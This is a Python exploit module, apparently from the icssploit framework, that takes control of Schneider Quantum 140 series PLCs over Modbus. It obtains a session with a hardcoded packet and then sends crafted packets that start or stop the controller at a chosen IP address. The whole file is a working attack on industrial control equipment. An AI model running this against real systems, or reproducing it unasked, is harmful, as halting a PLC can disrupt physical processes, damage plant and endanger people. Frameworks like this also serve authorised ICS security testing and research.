from icssploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    mute,
    validators,
)
import socket

get_session_payload = '013800000018005a0010337700000f57494e2d5039504b48485643495538'.decode('hex')


class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'Schneider Quantum 140 series PLC Control',
        'authors': [
            'w3h <https://github.com/w3h>'
            'wenzhe zhu <jtrkid[at]gmail.com>',  # icsmodules
        ],
        'description': 'Use Modbus command to start/stop plc.',
        'references': [
            'https://github.com/w3h/isf/blob/master/module/exploits/Schneider/Schneider_CPU_Comoand.py'
        ],
        'devices': [
            'Schneider Quantum 140 series programmable logic controllers (PLCs)',
        ],
    }

    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    port = exploits.Option(502, 'Target Port', validators=validators.integer)
    command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer)
    sock = None
    session = ""

    def get_session(self):
        self.sock.send(get_session_payload)
        rsp = self.sock.recv(1024)
        if rsp:
            self.session = rsp[:-1].encode('hex')
            return True
        else:
            return False

    def exploit(self):
        self.sock = socket.socket()
        self.sock.settimeout(3)
        self.sock.connect((self.target, self.port))
        if self.get_session():
            if self.command == 1:
                print_status("Start plc")
                buff = ('015300000006005a' + self.session + '40ff00').decode('hex')
                self.sock.send(buff)
            elif self.command == 2:
                print_status("Stop plc")
                buff = ('015800000006005a' + self.session + '41ff00').decode('hex')
                self.sock.send(buff)
            else:
                print_error("Command %s didn't support" % self.command)
        else:
            print_error("Can't get session, stop exploit.")

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
        else:
            print_error("Target is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True

